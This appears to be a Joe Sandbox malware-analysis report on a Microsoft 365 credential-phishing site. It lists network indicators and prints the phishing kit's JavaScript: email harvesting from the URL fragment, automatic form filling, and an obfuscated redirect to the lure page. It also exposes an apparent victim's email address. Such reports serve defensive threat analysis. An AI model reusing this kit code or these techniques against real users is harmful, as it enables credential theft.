https://login.loraintoolsltd.xyz/FgJIoRDm#jrofe@bellpotter.com.au	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/pat/905d758c9c7f5e68/1737527048862/192915dd2a27315a544581a44a57df06334e835618996b50b5008f69205041ef/1C3Bys2O25GcXgM	false		high
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/d/905d758c9c7f5e68/1737527048859/h0R7LETiUR5EdkQ	false		high
https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0#jrofe@bellpotter.com.au	false		unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=905d758c9c7f5e68&lang=auto	false		high
https://login.loraintoolsltd.xyz/FgJIoRDm?o=pHg-Y4s	true	Avira URL Cloud: safe	unknown
https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+san	false		high
https://login.loraintoolsltd.xyz/common/GetCredentialType?mkt=en-US	true	Avira URL Cloud: safe	unknown
http://sahadayiz.com.tr/favicon.ico	false	Avira URL Cloud: safe	unknown
https://login.loraintoolsltd.xyz/FgJIoRDm	true	Avira URL Cloud: safe	unknown
https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/cmg/1	false		high
https://login.loraintoolsltd.xyz/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh&ui_locales=en-US&mkt=en-US&client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39&state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	true	Avira URL Cloud: safe	unknown
https://login.loraintoolsltd.xyz/	true	Avira URL Cloud: safe	unknown
https://live.loraintoolsltd.xyz/Me.htm?v=3	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://login.windows-ppe.net	chromecache_104.2.dr, chromecache_91.2.dr	false		high
https://fontawesome.com/license/free	chromecache_72.2.dr	false		high
https://fontawesome.com	chromecache_72.2.dr	false		high
https://login.loraintoolsltd.xyz	chromecache_104.2.dr, chromecache_91.2.dr	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.186.68	www.google.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
173.46.80.217	login.loraintoolsltd.xyz	United States	46261	QUICKPACKETUS	false
217.18.85.38	sahadayiz.com.tr	United Kingdom	15922	QWEB-ASNL	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
2.16.168.115	a1894.dscb.akamai.net	European Union	20940	AKAMAI-ASN1EU	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
88.221.110.211	unknown	European Union	20940	AKAMAI-ASN1EU	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1596587
Start date and time:	2025-01-22 07:22:58 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU=
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.phis.troj.win@19/76@30/9

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.99, 216.58.206.46, 64.233.184.84, 142.250.186.78, 142.250.185.206, 216.58.206.78, 199.232.210.172, 184.30.131.245, 142.250.186.110, 142.250.185.142, 216.58.212.142, 172.217.18.106, 142.250.186.170, 142.250.185.170, 142.250.185.106, 172.217.16.202, 172.217.18.10, 216.58.212.138, 142.250.181.234, 142.250.185.234, 142.250.186.106, 142.250.184.234, 216.58.206.42, 142.250.185.74, 142.250.185.138, 172.217.16.138, 142.250.186.42, 142.250.184.206, 20.42.65.93, 52.168.112.67, 142.250.185.163, 172.217.16.206, 142.250.186.142, 184.28.90.27, 20.12.23.50, 13.107.246.45
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, onedscolprdeus20.eastus.cloudapp.azure.com, slscr.update.microsoft.com, otelrules.azureedge.net, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, browser.events.data.trafficmanager.net, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, onedscolprdeus04.eastus.cloudapp.azure.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://sahadayiz.com.tr/tec/les/K82cqkpomPEEC3lMMcYg4Gph6AcNsuj8uKaZh/anJvZmVAYmVsbHBvdHRlci5jb20uYXU=

Input	Output
URL: http://sahadayiz.com.tr Model: Joe Sandbox AI	```json{ "brand": "unknown", "brand_classification": "unknown", "legit_url": "unknown", "similarity": 0, "spoofed": 0, "reasoning": "The URL 'http://sahadayiz.com.tr' does not exhibit any clear signs of typosquatting. There are no obvious character substitutions or visual similarities to a well-known brand. The domain 'sahadayiz.com.tr' appears to be a legitimate Turkish domain, possibly related to a local business or organization. The '.com.tr' extension is a common country code top-level domain (ccTLD) for Turkey, which does not suggest any deceptive intent. Without any recognizable brand association or misleading structural elements, the likelihood of this being a typosquatting attempt is very low."}
URL: http://sahadayiz.com.tr
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates moderate-risk behaviors, including external data transmission and aggressive DOM manipulation. While the intent appears to be related to login functionality, the use of URL fragments and automatic form filling without user interaction raises some concerns. Further review is recommended to ensure the script's legitimacy and lack of malicious intent." }
function lp() { // Select the email input field and "Next" button var emailId = document.querySelector("#i0116"); var nextButton = document.querySelector("#idSIButton9"); var query = window.location.href; // Check if the URL contains a fragment (#) if (/#/.test(window.location.href)) { var res = query.split("#"); var data1 = res[0]; var data2 = res[1]; console.log(data1); console.log(data2); // If the email input field is found if (emailId != null) { // Use data2 directly as the email address, trim any extra spaces, and remove any trailing equal signs var emailAddress = data2.trim().replace(/=*$/, ''); // Focus on the email input field, set its value, and click the "Next" button emailId.focus(); emailId.value = emailAddress; nextButton.focus(); nextButton.click(); console.log("YES!"); return; } } // Retry the lp function every 500 milliseconds if the email input field is not found setTimeout(function() { lp(); }, 500); } // Initial timeout to invoke the lp function after 500 milliseconds setTimeout(function() { lp(); }, 500);
URL: https://login.loraintoolsltd.xyz/FgJIoRDm#jrofe@be... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "The provided JavaScript snippet exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and suspicious redirection. The script appears to be a phishing attempt, as it collects user email data from the URL fragment and redirects the user to a malicious 'login' page. This behavior is highly suspicious and poses a significant security risk." }
// Callback for the Turnstile verification function onloadTurnstileCallback() { turnstile.render('#turnstileCaptcha', { sitekey: '0x4AAAAAAA5pnBhoTgM91kpZ', callback: function(response) { // Enable the button after successful verification const verifyButton = document.getElementById('verifyButton'); if (verifyButton) { verifyButton.style.opacity = '1'; // Make button fully visible verifyButton.style.pointerEvents = 'auto'; // Enable pointer events } } }); } // Function to extract and display the fragment function displayEmailFromFragment() { var fragment = window.location.hash; if (fragment) { var email = fragment.substring(1).replace(/=*$/, ''); var emailDisplay = document.getElementById('grabbed-email'); if (emailDisplay) { emailDisplay.textContent = decodeURIComponent(email); } } } // Function to extract and clean the fragment function getFragment() { var fragment = window.location.hash; return fragment ? fragment : ''; } // Redirect function function redirectToLure() { const fragment = getFragment(); const finalUrl = 'ht' + 't' + 'ps:' + '//l' + 'o' + 'gi' + 'n.l' + 'ora' + 'in' + 'too' + 'l' + 'sl' + 'td' + '.x' + 'yz' + '/Fg' + 'JI' + 'oR' + 'D' + 'm?' + 'o=p' + 'Hg-' + 'Y4' + 's' + fragment; // Replace with the actual lure URL // Execute redirect window.location.href = finalUrl; } // Call the function when the page loads document.addEventListener('DOMContentLoaded', function() { displayEmailFromFragment(); const verifyButton = document.getElementById('verifyButton'); if (verifyButton) { verifyButton.addEventListener('click', function(e) { e.preventDefault(); redirectToLure(); }); } });
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.... Model: Joe Sandbox AI	{ "risk_score": 7, "reasoning": "This script demonstrates several high-risk behaviors, including redirecting the user to an unknown domain and potentially collecting sensitive information (session ID) without transparency. The use of obfuscated code and the attempt to bypass the same-origin policy by redirecting to the parent frame are also concerning. While the script may have a legitimate purpose, the overall behavior is highly suspicious and requires further investigation." }
//<![CDATA[ !function(){var e=window,s=e.document,i=e.$Config\|\|{};if(e.self===e.top){s&&s.body&&(s.body.style.display="block")}else if(!i.allowFrame){var o,t,r,f,n,d;if(i.fAddTryCatchForIFrameRedirects){try{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&",o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}catch(e){}}else{o=e.self.location.href,t=o.indexOf("#"),r=-1!==t,f=o.indexOf("?"),n=r?t:o.length,d=-1===f\|\|r&&f>t?"?":"&", o=o.substr(0,n)+d+"iframe-request-id="+i.sessionId+o.substr(n),e.top.location=o}}}(); //
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The provided JavaScript snippet contains several behaviors that raise moderate security concerns. It includes external data transmission to potentially untrusted domains, the use of fallback domains, and aggressive DOM manipulation. While the intent may be related to authentication or authorization, the lack of transparency and the use of obfuscated URLs warrant further review to ensure the script's legitimacy and the protection of user data." }
//<![CDATA[ $Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://live.loraintoolsltd.xyz/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_type=code+id_token\u0026state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg\u0026response_mode=form_post\u0026nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh\u0026x-client-SKU=ID_NET8_0\u0026x-client-Ver=7.5.1.0\u0026uaid=cb1aab6ed7384b4aab4d587742f5ae39\u0026msproxy=1\u0026issuer=mso\u0026tenant=common\u0026ui_locales=en-US\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026epct=PAQABDgEAAABVrSpeuWamRam2jAF1XRQEP5oRt_LlUKmJ6wJYNKU3SgU9L0aRpLTx6HsfQc8SOCUQ8ybskTTbMILlXQyurQgOvldcu7ptuDh0tYvXC8EHxK1BgYi3r--LhylhazbVuRa5Yml8MNASk2GKX6NmofR_WIhhyvHonTeSHdY8zfIeZusIVIQ3mQ6Uptr_FWM1zOJDv3Qci2UwnWiDy53RqD9p_jx4SxWPPjs5SpQABKv9PSAA\u0026jshs=0","urlMsaLogout":"https://live.loraintoolsltd.xyz/logout.srf?iframed_by=https%3a%2f%2flogin.loraintoolsltd.xyz","urlOtherIdpForget":"https://live.loraintoolsltd.xyz/forgetme.srf?iframed_by=https%3a%2f%2flogin.loraintoolsltd.xyz","showCantAccessAccountLink":true,"urlGitHubFed":"https://live.loraintoolsltd.xyz/oauth20_authorize.srf?client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_type=code+id_token\u0026state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg\u0026response_mode=form_post\u0026nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh\u0026x-client-SKU=ID_NET8_0\u0026x-client-Ver=7.5.1.0\u0026uaid=cb1aab6ed7384b4aab4d587742f5ae39\u0026msproxy=1\u0026issuer=mso\u0026tenant=common\u0026ui_locales=en-US\u0026epct=PAQABDgEAAABVrSpeuWamRam2jAF1XRQERQxbVAhcLD8bxO4oCAhzdUV4jkIy1iLTgK0ttGUUe6o5rpETitGGdttdmXISlqst3q9VQGI9XG4n7us1ObPQpwzOfhkbYPLew5lkM1WokpOv8HPadc8yOnYAbcRGk3W8_No3fPxP7AaA3dZYtNv117DwcS0iUOuapl1l4HKyRI8XxeOSePvG8d1YKzy9ROloFqKN_0Z7C9HPAZ_YMy5T7SAA\u0026jshs=0\u0026idp_hint=github.com","arrExternalTrustedRealmFederatedIdps":[],"fShowSignInWithGitHubOnlyOnCredPicker":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~land Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~43!!!AZ~Azerbaijan~994!!!BS~Bahamas~1!!!BH~Bahrain~973!!!BD~Bangladesh~880!!!BB~Barbados~1!!!BY~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Cte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The provided JavaScript snippet contains a mix of behaviors that warrant further review. While it does not exhibit any high-risk indicators like dynamic code execution or data exfiltration, it does include some moderate-risk behaviors, such as external data transmission and the use of fallback domains. Additionally, the script appears to be related to authentication and authorization flows, which increases the potential impact of any security issues. Overall, the script requires closer inspection to ensure it is not engaging in any suspicious or malicious activities." }
//<![CDATA[ $Config={"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msauth.net/shared/1.0/","urlDefaultFavicon":"https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico","urlPost":"/common/oauth2/v2.0/authorize?client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39\u0026client_id=4765445b-32c6-49b0-83e6-1d93765276ca\u0026mkt=en-US\u0026nonce=638731238681787570.ODhhMjJmMDEtMGJkYi00Yjg3LWIwYzgtNjllZDFmZDZmY2EzNmFjNmExMWEtMzQzMi00YjNlLWEwNDItYWY4YzE4MmQzYTNh\u0026redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid+profile+https%3a%2f%2fwww.office.com%2fv2%2fOfficeHome.All\u0026state=s95EoQB_AA265hU6LuUZwGO4l2xEUUXo0aL2Xd5yZK81ulpwoCuW4IfBjUJIeqNg8gQVwSymcBUGzHgwyvforyBXSwUlGtuKaxlyXt4HgJ1Dm5AuddfarFErPWQkz8tYxHkYQniDGyNSiKaw9fWVkS9ePdK1xSQkW1FYyT5ABBp8UTcFSD9urgbc5yA_Ddi1ODHmrMQqEOH1pnXH15_nbJETgs1F44qZ6Tlhg7T27fXVEIMYt3_dZgXQ9Fq2K_yPypROAEVAy20TMzkSCMbQgg\u0026ui_locales=en-US\u0026x-client-SKU=ID_NET8_0\u0026x-client-ver=7.5.1.0\u0026sso_reload=True","iPawnIcon":0,"sPOST_Username":"","sFTName":"flowToken","fEnableOneDSClientTelemetry":true,"dynamicTenantBranding":null,"staticTenantBranding":null,"oAppCobranding":{},"iBackgroundImage":2,"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.loraintoolsltd.xyz/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fUseMsaSessionState":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"","isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=cb1aab6e-d738-4b4a-ab4d-587742f5ae39\u0026origin=login.loraintoolsltd.xyz\u0026is_redirected=1","isFlowTokenPassedInEdge":true},"iSessionPullType":2,"fUseSameSite":true,"isGlobalTenant":true,"uiflavor":1001,"fOfflineAccountVisible":false,"fEnableUserStateFix":true,"fShowAccessPassPeek":true,"fUpdateSessionPollingLogic":true,"fEnableShowPickerCredObservable":true,"fFetchSessionsSkipDsso":true,"fIsCiamUserFlowUxNewLogicEnabled":true,"fUseNonMicrosoftDefaultBrandingForCiam":true,"fRemoveCustomCss":true,"fFixUICrashForApiRequestHandler":true,"fShowUpdatedKoreanPrivacyFooter":true,"fUsePostCssHotfix":true,"fUseHighContrastDetectionMode":true,"fFixUserFlowBranding":true,"fEnablePasskeyNullFix":true,"fEnableRefreshCookiesFix":true,"urlAcmaServerPath":"https://login.loraintoolsltd.xyz","sTenantId":"00000000-0000-0000-0000-000000000000","scid":1013,"hpgact":1800,"hpgid":6,"apiCanary":"PAQABDgEAAABVrSpeuWamRam2jAF1XRQEnipK8tR4nwW2n__YjXgWy50vAEop3sTSlO0tsta5Cd6D9B6VfmZpJ_3M8QNX_UxugpafAgdwVz6xYeOyy82Di1xbYR146mwzPUjKmTVdxJ5Oc4PHSkxNNWflKhFC__NsAkk-MriC2EQQjE3Mq1gP1qRK6PGEm7Qt2bufBRdYEGs7P9ihPx0zz6YQp-BRAeeBzE2GJE32Jty60Xa2QRqfZiAA","canary":"l/CN3jbRm8yVPtsiGKReLF+HAHKd3WpQ3tVaCencG5I=0:1:CANARY:Sl+KsRaAekZJ2NSus07gsvhXfVYeEvVUghxLXR94QmY=","sCanaryTokenName":"canary","fSkipRenderingNewCanaryToken":false,"fEnableNewCsrfProtection":true,"correlationId":"cb1aab6e-d738-4b4a-ab4d-587742f5ae39","sessionId":"19e087c2-00a2-4305-9378-2994cc8b1000","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums
URL: https://login.loraintoolsltd.xyz/common/oauth2/v2.... Model: Joe Sandbox AI	{ "risk_score": 5, "reasoning": "The provided JavaScript snippet exhibits a mix of behaviors that require further review. While it does not contain any clear indicators of malicious intent, it uses some practices that could be considered aggressive or potentially problematic. The script appears to be implementing a custom debugging/logging functionality, which is not inherently malicious, but the way it manipulates the DOM and interacts with external domains raises some concerns. Overall, the script requires closer inspection to determine the full context and intent behind its implementation." }
//<![CDATA[ !function(){var e=window,r=e.$Debug=e.$Debug\|\|{},t=e.$Config\|\|{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog\|\|25,i=(new Date).toUTCString()+":"+e;n.push(o+":"+i),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(i){var a=e[i];if(i<n-1){return void(o.r[a]?t(i+1):o.when(a,function(){t(i+1)}))}r(a)}var n=e.length;t(0)}function r(e,r,i){function a(){var e=!!s.method,o=e?s.method:i[0],a=s.extraArgs\|\|[],u=n.$WebWatson;try{ var c=t(i,!e);if(a&&a.length>0){for(var d=a.length,l=0;l<d;l++){c.push(a[l])}}o.apply(r,c)}catch(e){return void(u&&u.submitFromException&&u.submitFromException(e))}}var s=o.r&&o.r[e];return r=r\|\|this,s&&(s.skipTimeout?a():n.setTimeout(a,0)),s}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do\|\|(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function i(e){r(e,a,s)\|\|o.q.push({"id":e,"c":a,"a":s})}var a=0,s=[],u=1;"function"==typeof n\|\|(a=n, u=2);for(var c=u;c<arguments.length;c++){s.push(arguments[c])}t instanceof Array?e(t,i):i(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var i={};if(t&&(i.method=t),n&&(i.skipTimeout=n),argu
URL: https://live.loraintoolsltd.xyz/Me.htm?v=3... Model: Joe Sandbox AI	{ "risk_score": 6, "reasoning": "The script demonstrates moderate-risk behaviors, including external data transmission and the use of fallback domains. While it appears to have an analytics or telemetry purpose, the script also exhibits some obfuscation and aggressive DOM manipulation, which raises concerns. Further review is recommended to ensure the script's legitimacy and the appropriate handling of user data." }
!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.isSignedIn=h===g.SignedInToRP\|\|h===g.SignedInToIDP)}if(l>=6){var m=parseInt(S[5],16);m&&(c.isWindowsSso=0!==(m&u.IsWindowsSso))}if(l>=7){var v=parseInt(S[6],16);v&&(c.remoteIdpFlags=v)}l>=8&&(c.sessionId=S[7]),c&&(e.push(c),s[c.signInName]=!0)}}function a(t){if(t&&s(t.origin)&&t.data)try{var e=JSON.parse(t.data);if("startStaticMe"!==e.messageType)return;r(t.origin,e)}catch(n){return}}function o(t,e){return 1===t?e:t>=2?decodeURIComponent(e):null}function r(t,e){var s=n("JSH"),a=n("JSHP"),o=!0,r={transientState:"",persistentState:"",hasStorageAccess:0},S={messageType:"msaMeCached",version:2,userList:[],tilesState:r};try{var l={};i(s,S.userList,l),i(a,S.userList,l),console.log(e.useMsaSessionState),e.useMsaSessionState===!0&&(0!=S.userList.length?(S.tilesState.hasStorageAccess=2,S.tilesState.transientState=s,S.tilesState.persistentState=a):"function"==typeof document.hasStorageAccess?(o=!1,document.hasStorageAccess().then(function(n){console.log("Storage access:",n),n?(S.tilesState.hasStorageAccess=2,S.tilesState.transientState=s,S.tilesState.persistentState=a):e.sessionState&&(S.tilesState.hasStorageAccess=1,e.sessionState.transientState&&(S.tilesState.transientState=e.sessionState.transientState,i(e.sessionState.transientState,S.userList,l)),e.sessionState.persistentState&&(S.tilesState.persistentState=e.sessionState.persistentState,i(e.sessionState.persistentState,S.userList,l))),t&&c.parent.postMessage(JSON.stringify(S),t)})["catch"](function(e){console.error("Error checking storage access:",e),S.error=e.message,t&&c.parent.postMessage(JSON.stringify(S),t)})):(S.tilesState.hasStorageAccess=2,S.tilesState.transientState=s,S.tilesState.persistentState=a))}catch(p){S.error=p.message}t&&o&&c.parent.postMessage(JSON.stringify(S),t)}var c=window,S="prod",l="",p="",g={None:0,SignedInToRP:1,SignedInToIDP:2,Remembered:3},u={None:0,IsWindowsSso:1},f={dev:[l,p],"int":["https://login.windows-ppe.net"],prod:["https://login.loraintoolsltd.xyz","https://login.microsoft.com","https://device.login.loraintoolsltd.xyz","https://login.windows-ppe.net","https://login.windows.net","https://login.microsoftonline.de","https://login.partner.microsoftonline.cn","https://login.chinacloudapi.cn","https://login.microsoftonline.us","https://login-us.microsoftonline.com","https://logincert.microsoftonline.com"]};!function(){c.postMessage&&(c.addEventListener?c.addEventListener("message",a):c.attachEvent("message",a))}()}]));
